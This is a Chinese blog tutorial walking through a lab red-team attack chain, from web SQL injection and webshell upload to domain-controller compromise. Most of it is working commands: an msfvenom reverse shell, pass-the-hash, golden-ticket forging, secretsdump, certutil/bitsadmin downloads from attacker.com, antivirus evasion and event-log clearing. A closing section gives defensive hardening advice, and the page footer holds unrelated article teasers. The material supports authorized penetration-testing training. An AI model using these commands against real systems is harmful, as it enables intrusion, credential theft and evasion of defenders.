news 2026/7/4 12:05:18

红队实战:从信息收集到域控渗透的完整攻击链演练

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
红队实战:从信息收集到域控渗透的完整攻击链演练

1. 项目概述与核心思路

最近几年,安全圈里“红队”这个词越来越热,很多甲方单位都在组建自己的内部红队,或者寻求外部服务。但说实话,从“知道红队是干嘛的”到“能独立跑完一个完整的红队渗透测试”,中间隔着一条巨大的鸿沟。很多新手朋友学了一堆工具,看了很多靶机教程,但真给一个真实目标,还是不知道从哪里下手,工具链怎么串起来,报告怎么写。这正是“实战演练:使用RedTeam-OffensiveSecurity工具进行完整的渗透测试”这个项目要解决的核心问题。

RedTeam-OffensiveSecurity,你可以把它理解为一个“红队武器库”或者“战术工具箱”。它不是一个单一的软件,而是一套经过整合和验证的工具、脚本、配置模板和操作流程的集合。它的价值不在于发明了某个新漏洞,而在于把渗透测试中那些繁琐、重复但又至关重要的环节标准化、自动化了,让你能把精力集中在真正的战术思考和突破上。比如,如何快速搭建一个逼真的钓鱼环境,如何在内网中隐蔽地横向移动,如何在获取权限后稳固地维持访问,这些环节单靠Kali Linux自带的工具是远远不够的,需要大量的“胶水代码”和工程化实践。

这个项目就是一次从零到一的完整旅程。我们将模拟一个从外部信息收集开始,到最终获取目标域控权限并提取核心数据的完整攻击链。我会带你走一遍红队工程师的典型工作流,重点不是某个漏洞的利用,而是整个过程的“节奏感”和“工程化”思维。你会看到工具如何被有机地组合在一起,决策点在哪里,以及遇到各种网络环境变化时该如何调整策略。

2. 环境准备与工具集深度解析

工欲善其事,必先利其器。在开始实战之前,我们必须把“战场”和“武器”准备好。这里的环境是双重的:一是我们攻击者自己的操作环境,二是我们要模拟攻击的目标环境。

2.1 攻击平台搭建与优化

大多数红队操作会选择基于Kali Linux,因为它预装了海量工具。但对于RedTeam-OffensiveSecurity这类集成化工具集,一个干净、可定制的环境更重要。我个人的习惯是使用一台纯净的Ubuntu LTS虚拟机作为基础,然后按需安装。这样能避免工具版本冲突,也方便后续的持久化配置。

首先,准备一台至少4核CPU、8GB内存、100GB硬盘的虚拟机。安装Ubuntu Server版,选择最小化安装。系统装好后,第一件事不是急着装工具,而是做好安全和匿名化基础配置:

  1. 更新源与系统:使用国内镜像源加速,执行sudo apt update && sudo apt upgrade -y
  2. 配置代理(仅用于合法测试环境):在测试环境中,我们可能需要通过代理访问外部资源来下载工具或进行某些查询。这里强调,所有操作必须在授权范围内进行。可以配置proxychains,编辑/etc/proxychains.conf,在末尾添加你的代理设置,例如socks5 127.0.0.1 1080。之后,任何命令前加proxychains即可通过代理执行。
  3. 创建专用工作用户:不要用root用户直接操作。新建一个用户,如redteam,并赋予其sudo权限。所有工具都安装在这个用户的家目录下,便于管理。

接下来是RedTeam-OffensiveSecurity工具集的部署。它通常以一个Git仓库的形式存在,里面包含了安装脚本和资源索引。我们克隆仓库并运行安装脚本:

git clone https://github.com/某个授权仓库/RedTeam-OffensiveSecurity.git cd RedTeam-OffensiveSecurity chmod +x install.sh ./install.sh

这个安装脚本会做几件关键事:安装Python3、Go、Ruby等语言环境;从各个官方源下载并编译常见的红队工具(如impacket,bloodhound,crackmapexec等);配置一些常用的别名和环境变量;下载一些优秀的Wordlist字典文件。整个过程可能需要半小时到一小时,取决于网络。

注意:由于这类工具集会从GitHub等大量第三方地址拉取代码,在国内网络环境下极易失败。一个实用的技巧是,先查阅install.sh脚本,把其中明确列出的核心工具(大概20-30个)手动提前下载好,放到脚本预期的目录,然后注释掉脚本中的下载命令,只执行编译和配置部分。虽然麻烦,但成功率极高。

2.2 目标环境设计与搭建

为了实战,我们需要一个模拟的企业内网环境。经典的“域渗透”环境是首选,因为它涵盖了从外网Web打点到内网横向移动、权限提升、域控攻防的完整链条。这里我推荐使用Detection Lab或自己用VMware搭建一个简易域。

简易域环境可以这样设计:

  • DC(域控):一台Windows Server 2016/2019虚拟机,安装Active Directory域服务,域名设为redteam.lab。创建一个域管理员账户Administrator和一个普通域用户zhangsan
  • WEB服务器:一台Windows 10或Server虚拟机,加入redteam.lab域,安装IIS并部署一个存在漏洞的Web应用(比如一个老版本的CMS,或者自己写一个有SQL注入、文件上传漏洞的简单页面)。这台机器扮演“边界服务器”。
  • 内部办公机:一台Windows 10虚拟机,加入域,使用普通域用户zhangsan登录。上面安装一些办公软件,模拟员工日常工作环境。
  • 攻击机:就是我们刚搭建好的Kali/Ubuntu虚拟机,配置为与上述目标机器在同一网段(如192.168.1.0/24),但初始状态下,攻击机只能访问WEB服务器的80端口。

这个环境模拟了一个典型场景:攻击者从互联网(通过WEB服务器)进入,逐步向内网核心(域控)渗透。

2.3 核心工具选型与作用解读

RedTeam-OffensiveSecurity工具集里工具繁多,我们挑出贯穿本次实战的核心几个,理解它们的分工:

  1. Nmap:信息收集的基石。不止是端口扫描,它的NSE脚本能进行漏洞探测、服务识别、甚至简单的漏洞利用。本次实战中,我们将用它进行TCP/UDP端口扫描、服务版本探测和漏洞扫描。
  2. Impacket套件:内网渗透的“瑞士军刀”。这是一组用Python写的网络协议工具,尤其擅长处理Windows相关的协议(SMB, MSSQL, LDAP, Kerberos等)。其中的psexec.py,smbexec.py,wmiexec.py是进行横向移动的利器,secretsdump.py用于从内存或注册表中提取哈希。
  3. CrackMapExec:内网“自动化攻击平台”。它像一个粘合剂,能利用已有的凭证(密码或哈希),自动对一批主机进行SMB爆破、执行命令、部署后门等操作。它的输出非常清晰,是评估内网主机脆弱性的高效工具。
  4. BloodHound:内网“地图绘制器”与“路径分析器”。它通过收集域内的用户、组、计算机、权限关系等数据,构建出一张巨大的关系图,并自动分析出从某个起点到域管理员的最短攻击路径。对于理解复杂的域环境至关重要。
  5. Metasploit Framework:渗透测试的“综合工具箱”。虽然有时显得“重”,但其稳定的载荷生成、会话管理和丰富的漏洞利用模块,在特定环节(如获取初始shell)非常可靠。我们会谨慎使用,避免触发过多的安全告警。
  6. Nishang:基于PowerShell的攻击框架。提供大量渗透测试脚本,从信息收集、权限提升到后门、渗出数据。在Windows目标上执行PowerShell脚本是常见手段。

理解每个工具的核心用途,才能在正确的阶段选择正确的工具,而不是一把锤子看什么都像钉子。

3. 完整渗透测试流程实战演练

现在,我们假设已经获得了对目标“redteam.lab”的授权测试许可,开始正式的渗透测试流程。整个过程遵循PTES(渗透测试执行标准)或类似框架,分为几个阶段。

3.1 阶段一:外部侦察与信息收集

在不能直接接触目标系统之前,我们需要尽可能多地收集公开信息。这不仅仅是扫描端口。

首先进行被动信息收集。使用theHarvestersublist3r等工具,收集与目标域名redteam.lab相关的子域名、邮箱地址。虽然我们的靶机环境是内网,但这个习惯在真实测试中至关重要。假设我们发现了web.redteam.labmail.redteam.lab两个子域名。

接下来是主动扫描。从攻击机对WEB服务器(假设IP为192.168.1.10)进行扫描:

nmap -sS -sV -O -p- --open -T4 192.168.1.10 -oA nmap_full_scan

参数解释:-sSSYN半开扫描(较隐蔽),-sV探测服务版本,-O探测操作系统,-p-扫描所有65535个端口,--open只显示开放端口,-T4加快速度,-oA输出所有格式报告。

扫描结果可能显示开放了80(HTTP)、443(HTTPS)、21(FTP)、3389(RDP)等端口。针对80端口的Web服务,我们使用gobusterdirsearch进行目录爆破:

gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt -t 50

发现了/admin/upload/backup等路径。访问/admin是一个登录页面,/upload是一个文件上传点。

实操心得:信息收集阶段一定要细致并做好记录。我习惯用ObsidianCherryTree这样的笔记软件,为每个目标建立一个笔记页,把扫描结果、发现的URL、可能的漏洞点都贴进去。清晰的记录在后续复杂的攻击链中能帮你快速回顾上下文,避免混乱。

3.2 阶段二:漏洞扫描与初始访问突破

根据信息收集的结果,我们选择突破口。假设对/admin/login.php进行手动测试,发现存在SQL注入漏洞。使用sqlmap进行自动化利用:

sqlmap -u "http://192.168.1.10/admin/login.php" --data="username=admin&password=pass" --level=3 --risk=2 --dbs

成功爆出数据库名,进一步获取admin表的用户密码哈希(假设是MD5)。通过在线网站或本地hashcat破解,得到了后台管理员密码。

登录后台后,发现存在“系统配置”功能,可以上传网站Logo。尝试上传一个包含Webshell的图片马(将一句话PHP脚本嵌入图片的EXIF信息)。上传后,通过访问/upload/logo.jpg发现解析错误,但访问/upload/logo.jpg.php(假设服务器配置不当,解析了.php)成功执行了代码。

我们使用Metasploit生成一个PHP反向Shell载荷:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php

将生成的代码嵌入图片,上传并访问触发。同时在攻击机上启动msfconsole监听:

msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.100 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit

成功获得一个meterpreter会话。这是我们进入内网的第一个立足点,即“初始访问”。

3.3 阶段三:内网横向移动与权限提升

获得WEB服务器的Shell后,我们首先进行简单的本地信息收集:whoami /allipconfig /allnet usernet localgroup administrators。发现当前是IIS APPPOOL\DefaultAppPool权限,权限很低,但主机在域内,主机名为WEB-SRV,域是REDTEAM

接下来进行提权。上传WinPEASPowerUp.ps1等本地提权检查脚本到目标服务器并执行。假设WinPEAS提示系统未安装某个关键补丁,存在已知的本地提权漏洞(例如CVE-2021-36934)。我们搜索对应的利用代码,在攻击机编译成exe,上传到目标并执行,成功获取NT AUTHORITY\SYSTEM权限。

有了系统权限,就可以进行凭证窃取。使用meterpreterhashdump命令或者上传mimikatz(需绕过AV)来抓取本地密码哈希。我们抓取到了本地管理员Administrator的NTLM哈希。

现在,我们有了一个高权限的立足点和一些凭证。开始内网探测。在meterpreter会话中,添加路由,让攻击机的工具能通过这个会话访问内网其他网段:

run autoroute -s 192.168.1.0/24 background # 将会话放到后台

然后使用arp_scannerauxiliary/scanner/portscan/tcp模块扫描内网其他存活主机。发现了192.168.1.1(可能是网关),192.168.1.11(域控DC),192.168.1.12(办公机CLIENT)。

现在,使用CrackMapExec,利用我们抓取到的本地管理员哈希,尝试对192.168.1.12(办公机)进行SMB攻击,看是否能传递哈希(Pass-the-Hash)获得访问权限:

crackmapexec smb 192.168.1.12 -u Administrator -H '抓取到的NTLM哈希' --local-auth

如果成功,会显示PWNED!。然后我们可以使用crackmapexec直接执行命令,或者使用impacket套件中的wmiexec.py建立一个新的交互式Shell:

python3 wmiexec.py -hashes :[NTLM哈希] Administrator@192.168.1.12

成功登录到办公机。在这台办公机上,我们以当前域用户zhangsan的身份运行BloodHound的采集器SharpHound.exe,收集整个域的信息。将生成的zip文件回传到攻击机,并导入到BloodHound图形化界面中进行分析。

BloodHound分析显示,域用户zhangsan所在的组对某台服务主机有“写入权限”,而那台服务主机上有一个服务账户配置了域管理员的凭据。这就构成了一条攻击路径。

3.4 阶段四:权限维持与数据获取

沿着BloodHound分析的路径,我们利用获取到的中间权限,最终通过DCSync攻击或其他方式,获取了域管理员krbtgt账户的哈希。有了这个哈希,我们就可以制作黄金票据(Golden Ticket),从而获得域内任何服务的任意权限。

制作黄金票据:

python3 ticketer.py -nthash [krbtgt的NTLM哈希] -domain-sid [域的SID] -domain redteam.lab administrator

这会生成一个administrator.ccache票据文件。使用这个票据,我们可以直接访问域控192.168.1.11,无需密码:

export KRB5CCNAME=/path/to/administrator.ccache python3 psexec.py -k -no-pass redteam.lab/administrator@dc.redteam.lab

成功获得域控的SYSTEM权限Shell。

在域控上,使用impacketsecretsdump.py远程执行(或者直接在获得的Shell里执行),提取域内所有用户的哈希:

python3 secretsdump.py redteam.lab/administrator@192.168.1.11 -hashes :[Administrator的NTLM哈希]

至此,我们完成了整个攻击链:从外网Web漏洞获取边界服务器权限,提权后抓取哈希,横向移动到办公机,利用域关系分析找到攻击路径,最终攻陷域控并获取全部域哈希。

权限维持方面,我们可以在多台机器上创建隐藏的计划任务、注册表启动项、或者部署一个C2后门(如Cobalt Strike的Beacon),确保即使某些入口被清理,我们依然能保持访问。

4. 常见问题、防御绕过与排查实录

在实际操作中,绝不会像上面描述的那样一帆风顺。你会遇到各种防火墙、杀毒软件、入侵检测系统的拦截。下面分享一些常见的“坑”和应对技巧。

4.1 工具被拦截与免杀处理

最大的挑战之一是杀毒软件。你上传的mimikatz.exenc.exePowerShell脚本很可能瞬间就被删除了。

解决方案

  1. 代码混淆与内存加载:对于PowerShell脚本,使用Invoke-Obfuscation等工具进行混淆。或者更高级的,将可执行文件(PE)转换成Base64字符串,通过PowerShell在内存中直接加载执行,不落地磁盘。Metasploit的shellcode_inject模块和Cobalt Strike的execute-assembly功能都基于此原理。
  2. 合法工具滥用:使用系统自带的、白名单内的工具完成攻击。这就是所谓的“Living off the Land”。例如:
    • certutil.exe来下载文件:certutil -urlcache -split -f http://attacker.com/tool.exe C:\Windows\Temp\tool.exe
    • bitsadmin下载:bitsadmin /transfer job名 http://attacker.com/tool.exe C:\tool.exe
    • wmic执行命令:wmic process call create "cmd.exe /c whoami > C:\out.txt"
    • msbuild.exe执行C#代码(可用于加载Mimikatz等)。
  3. 定制编译与加壳:自己编译攻击工具,修改特征码,或者使用商业的免杀加壳服务。但这需要一定的逆向工程基础。

4.2 横向移动受阻

内网中,SMB、WMI等端口可能被防火墙策略阻断,或者需要特定的身份验证方式。

解决方案

  1. 端口转发与代理:如果WEB服务器能通内网所有机器,但你的攻击机不能直连。可以在WEB服务器上使用plink.exe(Putty Link)或netsh建立反向SOCKS5代理,让攻击机的流量通过WEB服务器进入内网。
    # 在攻击机(有公网IP)上监听 ssh -CNfg -R 1080 root@攻击机IP # 在攻击机上配置proxychains使用这个反向代理,然后所有工具就能扫描内网了。
  2. 利用其他协议:如果445(SMB)被封,尝试135(WMI)、5985/5986(WinRM)、1433(MSSQL)等其他可能开放的端口。CrackMapExecImpacket工具都支持这些协议。
  3. Kerberos认证:在域环境中,如果NTLM认证被严格限制(如开启了NTLM Block策略),就需要使用Kerberos认证。你需要先获取一个有效的TGT票据。使用impacketgetTGT.py,用密码或哈希申请TGT,然后使用-k参数来使用票据进行后续攻击。

4.3 流量被监控与检测

现代EDR和网络IDS非常智能,会检测异常的登录时间、登录地点、协议行为(如PsExec的特征流量)。

规避思路

  1. 降低频率与速度:扫描时用低速率(-T2),爆破时用大间隔。快速、大量的请求是告警的典型特征。
  2. 伪装正常流量:C2通信尽量使用HTTPS等加密协议,并且将流量伪装成与正常云服务(如AWS、Azure)或常见网站的通信。
  3. 使用“慢速”攻击技术:例如“密码喷洒”,即用一个弱密码去尝试大量的用户,而不是用一个用户字典去爆破一个账户。这样不容易触发账户锁定告警。
  4. 清理痕迹:在Windows上,用完mimikatz后,记得清除事件日志(wevtutil cl),删除上传的工具。在Linux上,清除.bash_history,使用shred删除文件。

4.4 实战问题排查速查表

问题现象可能原因排查步骤与解决方案
扫描无结果防火墙丢弃ICMP/探测包1. 使用-Pn参数(Nmap)跳过主机发现,直接扫描端口。
2. 使用TCP SYN扫描(-sS)或ACK扫描(-sA),比全连接扫描(-sT)更隐蔽。
Shell突然断开杀软终止进程、网络不稳定、会话超时1. 生成持久化的后门(如Meterpreter的persistence模块)。
2. 使用AutoRunScript在会话建立后自动迁移进程到稳定进程(如explorer.exe)。
3. 使用带重连功能的C2框架。
凭证无效哈希已过期、账户被锁定、目标系统禁用NTLM1. 检查哈希格式是否正确(LM:NT)。
2. 尝试使用密码而非哈希。
3. 在域环境中,尝试申请Kerberos票据(getTGT.py)并使用票据认证(-k)。
工具执行报错依赖缺失、权限不足、目标系统架构不匹配1. 在Linux上运行Windows exe?使用wine或交叉编译。
2. PowerShell脚本执行策略限制?使用-ExecutionPolicy Bypass
3. 32位程序在64位系统运行?注意路径(SysWOW64)。
内网主机不通不在同一网段、路由未添加、主机防火墙1. 在已控主机上运行ipconfig /allroute print查看网络信息。
2. 在Metasploit中使用run autoroute -s添加路由。
3. 使用proxychains配置代理链。

5. 从攻击到防御:安全加固建议

真正的红队价值,不仅在于找到漏洞,更在于理解攻击链,从而提出切实有效的防御建议。基于我们上面的攻击过程,可以给防守方(蓝队)提出以下加固建议:

  1. 边界防御

    • Web应用防火墙:部署WAF,能有效拦截SQL注入、文件上传等通用Web攻击。
    • 输入验证与输出编码:对所有用户输入进行严格的验证和过滤,对输出到页面的数据进行编码,这是解决注入和XSS的根本。
    • 最小化攻击面:关闭服务器上不必要的端口和服务(如FTP、RDP不应直接暴露在互联网)。
  2. 终端防护

    • 启用并严格配置EDR:下一代终端检测与响应系统能有效识别内存攻击、凭证窃取、可疑进程行为。
    • 实施应用程序白名单:只允许授权签名的程序运行,能彻底阻断未知恶意软件。
    • 及时打补丁:建立严格的漏洞管理和补丁更新流程,尤其是公开EXP的高危漏洞。
  3. 内网安全

    • 网络分段:将核心资产(如域控、数据库)放在独立网段,通过防火墙严格控制访问,即使边界失守,也能延缓攻击者横向移动的速度。
    • 禁用NTLM认证:在域环境中,尽可能强制使用Kerberos认证,并禁用过时且不安全的NTLMv1。
    • 实施最小权限原则:无论是用户账户还是服务账户,只赋予其完成工作所必需的最小权限。定期审查用户权限和组成员关系,利用BloodHound这样的工具从攻击者视角审视自己的域环境。
    • 监控关键日志:集中收集并分析域控的安全日志(4624登录、4625失败登录、4672特权使用)、DNS查询日志、PowerShell脚本执行日志等。异常的登录时间、大量的登录失败、来自非常用位置的WMI/SMB连接都是高危告警。
  4. 凭证安全

    • 启用LAPS:为所有加入域的计算机启用本地管理员密码解决方案,确保每台机器的本地管理员密码不同且定期随机更换,彻底阻断通过本地管理员哈希进行的横向移动。
    • 保护特权账户:域管理员账户不应在普通工作站上日常使用。启用“受保护用户”组,并限制其登录范围。
    • 部署Credential Guard:对于Windows 10/Server 2016以上系统,启用Credential Guard可以保护内存中的凭证哈希不被工具如Mimikatz窃取。

红队演练的最终目的,是让蓝队看到在真实攻击下自身防御体系的短板,从而迭代升级。一次好的渗透测试报告,应该像一份详细的“体检报告”和“健身指南”,清晰地指出问题,并给出可落地的修复方案。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/4 12:03:06

机器学习算法选型实战:数据质量、上线速度与可解释性三角博弈

1. 这不是算法清单,而是五把能切开真实业务问题的刀“5 Popular Machine Learning algorithms”——看到这个标题,你脑子里是不是立刻浮现出教科书式的并列罗列:线性回归、决策树、SVM、随机森林、神经网络?然后配一张带公式的表格…

作者头像 李华
网站建设 2026/7/4 12:03:05

高质量数据的四大支柱与落地七步法

1. 为什么说“高质量数据”不是一句空话,而是机器学习项目成败的分水岭 “Quality Data Drives the success of Machine Learning and Artificial Intelligence”——这句话在AI会议PPT里出现频率极高,但真正把它当真、并为此投入3倍于模型调参时间的人&…

作者头像 李华
网站建设 2026/7/4 12:02:37

MMDetection环境配置与安全部署实战:从依赖管理到生产防护

1. 项目概述:为什么我们需要深入理解MMDetection及其安全策略? 如果你正在用Python做计算机视觉,尤其是目标检测,那么OpenMMLab的MMDetection工具包大概率已经是你工具箱里的常客了。它集成了从Faster R-CNN、YOLO系列到DETR等数十…

作者头像 李华
网站建设 2026/7/4 12:01:04

基于YOLOv8的汽车类型检测系统开发与优化

1. 项目概述 这个基于YOLOv8的汽车类型检测系统是我最近完成的一个实战项目,它能够准确识别图像、视频和实时摄像头画面中的各类汽车。作为一名长期从事计算机视觉开发的工程师,我选择YOLOv8作为基础框架主要是看中它在精度和速度上的平衡表现。整个项目…

作者头像 李华
网站建设 2026/7/4 11:59:07

SPI EEPROM与ARM Cortex-M4的高效数据存储检索方案

1. 项目背景与核心需求 在嵌入式系统开发中,快速精确的数据检索是一个常见但极具挑战性的需求。25CSM04作为一款4Mbit容量的SPI接口EEPROM,配合TM4C129XNCZAD这款高性能ARM Cortex-M4微控制器,能够构建一个高效可靠的存储检索系统。 这个组合…

作者头像 李华